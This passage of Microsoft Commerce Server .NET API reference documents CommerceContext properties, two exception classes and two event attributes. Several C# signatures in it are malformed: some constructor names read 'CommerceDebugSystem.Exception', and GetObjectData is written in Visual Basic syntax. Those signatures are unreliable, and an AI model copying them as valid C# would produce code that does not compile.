If this property is accessed before it has been explicitly set, the profile will be automatically retrieved from the Profiling System using the UserProfile property and the settings in the profiles section in the web.config file. This property will return null if the organization profile does not exist.

This property throws a CommerceException if the OrganizationProfile property has not been previously set and either the UserProfile or ProfileSystem property is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Pipelines Property (BCL)

The Pipelines property is the read-only PipelineCollection object used on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Pipelines As PipelineCollection
[C#]
public PipelineCollection Pipelines {get;}

Property Value

The pipeline collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to read a pipeline collection and display its properties


CommerceContext.ProfileSystem Property (BCL)

The ProfileSystem property is the read/write ProfileContext object used on the site.

Definition

[Visual Basic .NET]
Public Property ProfileSystem As ProfileContext
[C#]
public ProfileContext ProfileSystem {get; set;}

Property Value

The ProfileContext object used on the site.

Remarks

A default ProfileContext object is available only if the CommerceProfileModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to use the SiteTerm class

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.QueryStringBuilder Property (BCL)

The QueryStringBuilder property is the read-only QueryStringBuilder object used on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property QueryStringBuilder As QueryStringBuilder
[C#]
public QueryStringBuilder QueryStringBuilder {get;}

Property Value

The QueryStringBuilder object used on the site.

Remarks

A default QueryStringBuilder object is always available.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Resources Property (BCL)

The Resources property is the read-only CommerceResourceCollection object configured for the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Resources As CommerceResourceCollection
[C#]
public CommerceResourceCollection Resources {get;}

Property Value

The CommerceResourceCollection object configured for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to read a resource collection and display its contents


CommerceContext.SiteName Property (BCL)

The SiteName property is a read-only String containing the name of the Commerce Server site.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteName As System.String
[C#]
public System.String SiteName {get;}

Property Value

A String containing the name of the Commerce Server site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.TargetingSystem Property (BCL)

The TargetingSystem property is the read-only TargetingSytemInfo object for use on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property TargetingSystem As TargetingSystemInfo
[C#]
public TargetingSystemInfo TargetingSystem {get;}

Property Value

The TargetingSystemInfo object for use on the site.

Remarks

Creates the instance of the TargetingSystemInfo object on first access.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.UserId Property (BCL)

The UserId property is a read/write String containing the user ID for the current user.

Definition

[Visual Basic .NET]
Public Property UserId As System.String
[C#]
public System.String UserId {get; set;}

Property Value

A String containing the user ID for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

If the UserId property has not been previously set, then the get method tries to retrieve it from the current AuthTicket of the AuthenticationInfo object, assuming the CommerceAuthenticationModule object is enabled for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Set Shipping Methods on a Basket on an ASP.NET Web Form

Code to Manipulate a Basket on an ASP.NET Web Form


CommerceContext.UserProfile Property (BCL)

The UserProfile property is a read/write Profile object containing the profile for the current user.

Definition

[Visual Basic .NET]
Public Property UserProfile As Profile
[C#]
public Profile UserProfile {get; set;}

Property Value

The Profile object containing the profile for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

If this property is accessed before it has been explicitly set, the profile will be automatically retrieved from the Profiling System using the UserId property and the settings in the profiles section in the web.config file. The property returns null if the user profile does not exist. This property throws a CommerceException if the UserProfile property has not been previously set and either the UserId or ProfileSystem property is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form

Code to retrieve and display profile properties

Code to create and set profile properties


CommerceCreateObjectException Class (BCL)

Exception raised when a COM object cannot be created.

Public Instance Constructor

Constructor | Description
CommerceCreateObjectException Constructor | Creates a new instance of the CommerceCreateObjectException class.
CommerceCreateObjectException Constructor(String) | Creates a new instance of the CommerceCreateObjectException class with a specified error message.
CommerceCreateObjectException Constructor(String, COMException) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceCreateObjectException Constructor(String, Exception) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceCreateObjectException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCreateObjectException Constructor | Creates a new instance of the CommerceCreateObjectException class.
CommerceCreateObjectException Constructor(String) | Creates a new instance of the CommerceCreateObjectException class with a specified error message.
CommerceCreateObjectException Constructor(String, COMException) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceCreateObjectException Constructor(String, Exception) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceCreateObjectException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.


CommerceCreateObjectException Constructor (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCreateObjectException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceCreateObjectException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceCreateObjectException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception string and the inner COM exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal progId As System.String, _
  ByVal inner As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceCreateObjectException(
  System.String progId,
  System.Runtime.InteropServices.COMException inner
);

Parameters

[Visual Basic .NET]
progId
The programmatic identifier.
inner
The inner exception.
[C#]
progId
The programmatic identifier.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception string and the inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCreateObjectSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceCreateObjectException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceDebugException Class (BCL)

A special exception raised by components of a Commerce Server application when they encounter an error during the Debug or Checked mode of operation.

Public Instance Constructor

Constructor | Description
CommerceDebugException Constructor | Creates a new instance of the CommerceDebugException class.
CommerceDebugException Constructor(String) | Creates a new instance of the CommerceDebugException class with the specified error message.
CommerceDebugException Constructor(String, Exception) | Creates a new instance of the CommerceDebugException class with the specified error message and inner exception.
CommerceDebugException Constructor(String, String) | Creates a new instance of the CommerceDebugException class with the specified category and message.
CommerceDebugException Constructor(String, String, Exception) | Creates a new instance of the CommerceDebugException class with the specified category, message, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceDebugException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceDebugException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceDebugException Constructor | Creates a new instance of the CommerceDebugException class.
CommerceDebugException Constructor(String) | Creates a new instance of the CommerceDebugException class with the specified error message.
CommerceDebugException Constructor(String, Exception) | Creates a new instance of the CommerceDebugException class with the specified error message and inner exception.
CommerceDebugException Constructor(String, String) | Creates a new instance of the CommerceDebugException class with the specified category and message.
CommerceDebugException Constructor(String, String, Exception) | Creates a new instance of the CommerceDebugException class with the specified category, message, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceDebugException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceDebugException class with the specified serialization information and streaming context.


CommerceDebugException Constructor (BCL)

Use this method to create a new instance of the CommerceDebugException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceDebugException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceDebugException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified error message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceDebugException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified error message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceDebugSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified cagegory and message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public CommerceDebugException(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
[C#]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified category, message, and inner exception

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceDebugSystem.Exception(
  System.String category,
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
inner
The inner exception.
[C#]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceDebugException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceEventAttribute Class (BCL)

These attributes identify the class as being a Commerce event and also associate a commerce specific short name with to the Commerce event.

Public Instance Constructor

Constructor | Description
CommerceEventAttribute Constructor(String) | Creates a new instance of the CommerceEventAttribute class.

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Public Instance Properties

Property | Description
ClassName | Gets the Commerce Server–specific short name of the class that this instance of the attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Remarks

The CommerceEventAttribute class marks Commerce event classes and associates a Commerce Server–specific short name with the particular event class.

For example:

[CommerceEvent("BSK")]
            public class AddToBasketEvent : BaseCommerceEvent

In the previous example, the attribute is used to mark the AddToBasketEvent class as a Commerce event class and associate the Commerce Server–specific short name BSK with the class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventAttribute Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceEventAttribute Constructor(String) | Creates a new instance of the CommerceEventAttribute class.


CommerceEventAttribute Constructor (String) (BCL)

Use this method to create a new instance of the CommerceEventAttribute class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal className As System.String _
)
[C#]
public CommerceEventAttribute(
  System.String className
);

Parameters

[Visual Basic .NET]
className
Name of the class to which this attribute is associated.
[C#]
className
Name of the class to which this attribute is associated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventAttribute Methods (BCL)

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventAttribute Properties (BCL)

Public Instance Properties

Property | Description
ClassName | Gets the Commerce Server–specific short name of the class that this instance of the attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventAttribute.ClassName Property (BCL)

The ClassName property is a read-only String containing the Commerce Server–specific short name of the class that this instance of the attribute is associated with.

Definition

[Visual Basic .NET]
Public ReadOnly Property ClassName As System.String
[C#]
public System.String ClassName {get;}

Property Value

A String containing the short name of the class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Class (BCL)

Associates a Commerce-specific short name with the Commerce property.

Public Instance Constructor

Constructor | Description
CommerceEventMemberAttribute Constructor(String) | Creates a new instance of the CommerceEventMemberAttribute class.

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Public Instance Properties

Property | Description
MemberName | Gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Remarks

The CommerceEventMemberAttribute class marks Commerce event class properties as Commerce properties and also associate a Commerce-specific short name with the particular event class.

For example:

[CommerceEvent("BSK")]
   public class AddToBasketEvent : BaseCommerceEvent
   {
       [CommerceEventMember("PRID")]
       public string ProductID
       {
           get
           {
               ...
           }
           set
           {
               ...
           }
       }
   }

In the above example, the attribute is used to mark the ProductID property of the AddToBasketEvent class as a Commerce event property and also associates the Commerce-specific short name PRID with the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceEventMemberAttribute Constructor(String) | Creates a new instance of the CommerceEventMemberAttribute class.


CommerceEventMemberAttribute Constructor (String) (BCL)

Use this method to create a new instance of the CommerceEventMemberAttribute class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal memberName As System.String _
)
[C#]
public CommerceEventMemberAttribute(
  System.String memberName
);

Parameters

[Visual Basic .NET]
memberName
The name of the property with which the attribute is associated.
[C#]
memberName
The name of the property with which the attribute is associated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Methods (BCL)

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventMemberAttribute Properties (BCL)

Public Instance Properties

Property | Description
MemberName | Gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventMemberAttribute.MemberName Property (BCL)

The MemberName property is a read-only String that gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.

Definition

[Visual Basic .NET]
Public ReadOnly Property MemberName As System.String
[C#]
public System.String MemberName {get;}

Property Value

A string containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceException Class (BCL)

Base type for all .NET-based Commerce Server exceptions.

Public Instance Constructor

Constructor | Description
CommerceException Constructor | Creates a new instance of the CommerceException class.
CommerceException Constructor(String) | Creates a new instance of the CommerceException class with a specified error message.
CommerceException Constructor(String, COMException) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceException Constructor(String, Exception) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceException Constructor | Creates a new instance of the CommerceException class.
CommerceException Constructor(String) | Creates a new instance of the CommerceException class with a specified error message.
